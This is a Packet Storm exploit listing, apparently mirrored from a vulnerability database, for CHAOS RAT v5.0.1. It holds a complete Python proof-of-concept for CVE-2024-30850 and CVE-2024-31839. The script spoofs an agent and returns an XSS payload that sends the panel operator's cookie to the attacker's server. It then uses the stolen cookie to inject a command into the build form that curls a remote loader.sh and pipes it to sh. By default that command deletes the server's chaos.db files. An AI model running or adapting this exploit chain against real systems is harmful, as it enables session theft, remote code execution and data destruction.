Lucene search

K
packetstormChebuyaPACKETSTORM:178009
HistoryApr 10, 2024 - 12:00 a.m.

CHAOS RAT 5.0.1 Remote Command Execution

2024-04-1000:00:00
chebuya
packetstormsecurity.com
126
chaos rat v5.0.1
remote command execution
xss attack
remote code execution
ubuntu 20.04 lts
cve-2024-30850
cve-2024-31839
spoofed agents

AI Score

7.4

Confidence

Low

EPSS

0

Percentile

9.0%

`# Exploit Title: CHAOS RAT v5.0.1 RCE  
# Date: 2024-04-05  
# Exploit Author: @_chebuya  
# Software Link: https://github.com/tiagorlampert/CHAOS  
# Version: v5.0.1   
# Tested on: Ubuntu 20.04 LTS  
# CVE: CVE-2024-30850, CVE-2024-31839  
# Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server  
# Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc  
# Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/  
import time  
import requests  
import threading  
import json  
import websocket  
import http.client  
import argparse  
import sys  
import re  
  
from functools import partial  
from http.server import BaseHTTPRequestHandler, HTTPServer  
  
class Collector(BaseHTTPRequestHandler):  
def __init__(self, ip, port, target, command, video_name, *args, **kwargs):  
self.ip = ip  
self.port = port  
self.target = target  
self.shell_command = command  
self.video_name = video_name   
super().__init__(*args, **kwargs)  
  
def do_GET(self):  
if self.path == "/loader.sh":  
self.send_response(200)  
self.end_headers()  
command = str.encode(self.shell_command)  
self.wfile.write(command)  
elif self.path == "/video.mp4":  
with open(self.video_name, 'rb') as f:  
self.send_response(200)  
self.send_header('Content-type', 'video/mp4')  
self.end_headers()  
self.wfile.write(f.read())  
else:  
cookie = self.path.split("=")[1]  
self.send_response(200)  
self.end_headers()  
self.wfile.write(b"")  
  
background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port))  
background_thread.start()  
  
def convert_to_int_array(string):  
int_array = []  
for char in string:  
int_array.append(ord(char))  
return int_array  
  
def extract_client_info(path):  
with open(path, 'rb') as f:  
data = str(f.read())  
  
address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"  
address_pattern = re.compile(address_regexp)  
address = address_pattern.findall(data)[0].split("=")[1]  
  
port_regexp = r"main\.Port=\d{1,6}"  
port_pattern = re.compile(port_regexp)  
port = port_pattern.findall(data)[0].split("=")[1]  
  
jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"  
jwt_pattern = re.compile(jwt_regexp)  
jwt = jwt_pattern.findall(data)[0].split("=")[1]  
  
return f"{address}:{port}", jwt  
  
def keep_connection(target, cookie, hostname, username, os_name, mac, ip):  
  
print("Spoofing agent connection")  
headers = {  
"Cookie": f"jwt={cookie}"  
}  
  
while True:  
data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}  
r = requests.get(f"http://{target}/health", headers=headers)  
r = requests.post(f"http://{target}/device", headers=headers, json=data)  
time.sleep(30)  
  
def handle_command(target, cookie, mac, ip, port):  
print("Waiting to serve malicious command outupt")  
headers = {  
"Cookie": f"jwt={cookie}",  
"X-Client": mac  
}  
  
ws = websocket.WebSocket()  
ws.connect(f'ws://{target}/client', header=headers)  
while True:  
response = ws.recv()  
  
command = json.loads(response)['command']  
data = {"client_id": mac, "response": convert_to_int_array(f"</pre><script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script><video loop controls autoplay><source src=\"http://{ip}:{port}/video.mp4\" type=\"video/mp4\"></video>"), "has_error": False}  
  
ws.send_binary(json.dumps(data))  
  
  
def run_exploit(cookie, target, ip, port):  
print(f"Exploiting {target} with JWT {cookie}")  
conn = http.client.HTTPConnection(target)  
headers = {  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',  
'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',  
'Cookie': f'jwt={cookie}'  
}  
conn.request(  
'POST',  
'/generate',  
f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',  
headers  
)  
  
def run(ip, port, target, command, video_name):  
server_address = (ip, int(port))  
  
collector = partial(Collector, ip, port, target, command, video_name)  
httpd = HTTPServer(server_address, collector)  
print(f'Server running on port {ip}:{port}')  
httpd.serve_forever()  
  
if __name__ == "__main__":  
parser = argparse.ArgumentParser()  
subparsers = parser.add_subparsers(dest="option")  
  
exploit = subparsers.add_parser("exploit")  
exploit.add_argument("-f", "--file", help="The path to the CHAOS client")  
exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)")  
exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;")  
exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4")  
exploit.add_argument("-j", "--jwt", help="The JWT token to use")  
exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True)  
exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000)  
exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01")  
exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator")  
exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows")  
exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56")  
exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12")  
  
extract = subparsers.add_parser("extract")  
extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True)  
  
args = parser.parse_args()  
  
if args.option == "exploit":  
if args.target != None and args.jwt != None:  
target = args.target  
jwt = args.jwt  
elif args.file != None:  
target, jwt = extract_client_info(args.file)  
else:  
exploit.print_help(sys.stderr)  
sys.exit(1)  
  
bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip))  
bg.start()  
  
cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port))  
cmd.start()  
  
server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name))  
server.start()  
  
elif args.option == "extract":  
target, jwt = extract_client_info(args.file)  
print(f"CHAOS server: {target}\nJWT: {jwt}")  
else:  
parser.print_help(sys.stderr)  
sys.exit(1)  
`

AI Score

7.4

Confidence

Low

EPSS

0

Percentile

9.0%